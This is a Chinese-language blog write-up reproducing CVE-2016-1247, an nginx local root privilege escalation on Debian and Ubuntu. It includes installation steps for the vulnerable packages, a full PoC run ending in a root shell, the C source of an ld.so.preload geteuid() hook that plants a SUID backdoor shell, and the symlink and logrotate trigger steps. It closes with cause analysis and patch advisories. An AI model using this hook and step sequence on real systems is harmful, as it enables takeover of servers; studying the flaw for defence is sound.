CVE-2016-1247复现分析

前言

  • Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。长期以来,它一直在许多负载很重的俄罗斯网站上运行,包括Yandex,Mail.Ru,VK和Rambler。根据Netcraft的数据,nginx在2016年10月服务或代理了27.80%最繁忙的网站。
  • Debian、Ubuntu发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。
  • 11月15日,国外安全研究员 Dawid Golunski 公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于 Debian 系列的发行版,Nginx 作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。
  • 下述版本之前均存在此漏洞:
    Debian: Nginx1.6.2-5+deb8u3
    Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
    Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
    Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
  • 漏洞所属类型:提权
  • 漏洞CVE号:CVE-2016-1247

背景知识

Nginx

  • Nginx是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,其特点是占有内存少,并发能力强。

环境清单

  • 系统版本: Ubuntu 14.04.6 LTS
  • 发行版名称: Linux ubuntu 4.4.0-142-generic
  • nginx版本: nginx/1.4.6.1 (Ubuntu)
  • 镜像下载地址:ubuntu-14.04.6-desktop-amd64.iso
  • 虚拟机软件:VMware Workstation 16 Pro 16.1.1 build-17801498

漏洞复现

环境搭建

  • 测试环境:

    • Ubuntu 14.04
    • Nginx1.4.6-1ubuntu3
  • PoC详见如下链接,给出的 nginxed-root.sh 脚本在其中的第V部分:
    https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

按如下安装步骤安装nginx

sudo apt-get install nginx-common=1.4.6-1ubuntu3
sudo apt-get install nginx-full=1.4.6-1ubuntu3
sudo apt-get install nginx=1.4.6-1ubuntu3

查看现有nginx版本

xx@xx-virtual-machine:~$ dpkg -l |grep nginx
ii  nginx                                                 1.4.6-1ubuntu3                                       all          small, powerful, scalable web/proxy server
ii  nginx-common                                          1.4.6-1ubuntu3                                       all          small, powerful, scalable web/proxy server - common files
ii  nginx-full                                            1.4.6-1ubuntu3                                       amd64        nginx web/proxy server (standard version)

查看文件夹权限

www-data@xx-virtual-machine:/home/xx/Desktop$ ls -ld /var/log/nginx
drwxr-x--- 2 www-data adm 4096  629 18:48 /var/log/nginx
# 属于www-data用户 说明没有补丁

复现过程

# nginx运行
xx@xx-virtual-machine:~/Desktop$ sudo nginx
xx@xx-virtual-machine:~/Desktop$ ps -A |grep nginx
  3214 ?        00:00:00 nginx
  3215 ?        00:00:00 nginx
  3216 ?        00:00:00 nginx
  3217 ?        00:00:00 nginx
  3218 ?        00:00:00 nginx
xx@xx-virtual-machine:~/Desktop$ 

# 查看log/nginx文件夹下文件权限。
root@xx-virtual-machine:/home/xx/Desktop# cd /var/log/nginx
root@xx-virtual-machine:/var/log/nginx# ll
total 12
drwxr-x---  2 www-data adm    4096  629 18:48 ./
drwxrwxr-x 14 root     syslog 4096  629 18:47 ../
-rw-r--r--  1 root     root      0  629 18:48 access.log
-rw-r--r--  1 root     root   3956  629 19:35 error.log
# error.log是root用户并且属于root用户组的。
# 若是属于www-data用户的话,可以先kill掉nginx,然后删除nginx文件夹下的所有文件;然后重启nginx即可。

因此是no-login状态,所以不能直接切换,需要修改。

root@xx-virtual-machine:/var/log/nginx# gedit /etc/passwd
### to /bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash

切换用户

root@xx-virtual-machine:/var/log/nginx# su www-data
www-data@xx-virtual-machine:/var/log/nginx$ 
root@xx-virtual-machine:/home/xx/Desktop# ./nginxed-root.sh /var/log/nginx/error.log
bash: ./nginxed-root.sh: Permission denied
root@xx-virtual-machine:/home/xx/Desktop# chmod 777 ./nginxed-root.sh
root@xx-virtual-machine:/home/xx/Desktop# su www-data
www-data@xx-virtual-machine:/home/xx/Desktop$ ./nginxed-root.sh /var/log/nginx/error.log
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
 
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) 
nginxed-root.sh (ver. 1.0)

Discovered and coded by: 

Dawid Golunski 
https://legalhackers.com 

[+] Starting the exploit as: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 www-data www-data 1021112  629 19:47 /tmp/nginxrootsh

[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: 
lrwxrwxrwx 1 www-data www-data 18  629 19:47 /var/log/nginx/error.log -> /etc/ld.so.preload

[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...

logrotation脚本会在corn中每天6:25AM自动调用,因此如果/etc/logrotate.d/nginx已经设置了’daily’日志回滚,攻击者将在不需要任何系统管理员交互的情况下,在24小时内实现提权到ROOT

打开一个新的终端,切换至root权限下,强制log回滚

root@xx-virtual-machine:/home/xx# /usr/sbin/logrotate -vf /etc/logrotate.d/nginxreading config file /etc/logrotate.d/nginx

Handling 1 logs

拿到root权限

[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: 
-rw-r--r-- 1 www-data root 19  629 19:52 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1021112  629 19:47 /tmp/nginxrootsh

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1021112  629 19:47 /tmp/nginxrootsh

The server is (N)jinxed ! ;) Got root via Nginx!

[+] Spawning the rootshell /tmp/nginxrootsh now! 

nginxrootsh-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
nginxrootsh-4.3# whoami
root

漏洞分析

成因分析

产生原因:Nginx在创建log目录时使用了不安全的权限配置,可造成本地权限的提升,攻击手法主要通过从www-data权限向root用户权限提权得到。

本漏洞主要利用hook操作改变程序流程,实现所需操作,从而间接实现对函数功能的修改。

一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在 Linux 系统下,我们可以通过编译一个含相同函数定义的 so 文件并借助/etc/ld.so.preload文件来完成此操作,系统的 loader 代码中会检查是否存在/etc/ld.so.preload 文件,如果存在那么就会加载其中列出的所有 so 文件,它能够实现与 LD_PRELOAD 环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于 Windows 下的 DLL 劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的 PoC 就是利用的这个技巧。

关于 hook 操作,简单来看就是如下的一个执行流程:

1

在 PoC 利用中与此相关的 C 代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对 geteuid()函数的 hook,在 hook 调用中就能执行我们想要的恶意操作。

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/*hook原geteuid()函数*/
uid_t geteuid(void) {
    //定义函数指针变量
    static uid_t  (*old_geteuid)();
    //返回原geteuid()函数的指针
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    //在调用原geteuid()函数的同时执行想要的恶意操作
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}

我们可以将上述代码编译后来做个简单的测试,结果如下图,观察 nginxrootsh 文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然 hook 是成功的,和 PoC 相同这里也是通过sudo来触发hook调用。

2

exp分析

本利用代码中,将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx 在配置 log 文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现 www-data 到 root 的权限提升。首先将目录/var/log/nginx/下的文件全部删除,再重启下 nginx 服务,最后执行如下两条命令:

$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

此时得到的结果如下图所示:

3

可以看到 error.log 文件的属性为:

-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log

然后将其软链接到/etc/ld.so.preload 文件就可以了,这里简单测试,将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时 www-data 用户是可以对/etc/xxxxxxxxxx文件进行写操作的。

至此,我们将这些点结合起来就可以实现对此漏洞的利用了。

漏洞修复

Nginx官方已经修复,用户应尽快更新至最新版本。

详细信息:

  • Debian 系统

    • https://www.debian.org/security/2016/dsa-3701

    • https://security-tracker.debian.org/tracker/CVE-2016-1247

  • Ubuntu 系统

    • https://www.ubuntu.com/usn/usn-3114-1/

总结

在基于Debian的发行版(如Debian或Ubuntu)上发现Nginx Web服务器打包可以创建具有不安全权限的日志目录,恶意的本地攻击者可以利用这些目录将其权限从nginx /Web用户(www-data)升级到root。

攻击者很容易利用该漏洞,他们设法破坏了Nginx服务器上托管的Web应用程序并获得了对www-data帐户的访问权限,因为它将允许他们进一步将其权限升级到root访问权限并完全损害系统。

参考链接

CVE-2016-1247 nginx提权环境搭建

Nginx 权限提升漏洞 (Debian、Ubuntu发行版)

浅谈CVE-2016-1247 nginx本地提权漏洞

解决linux系统nginx重启失败问题

漏洞细节

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值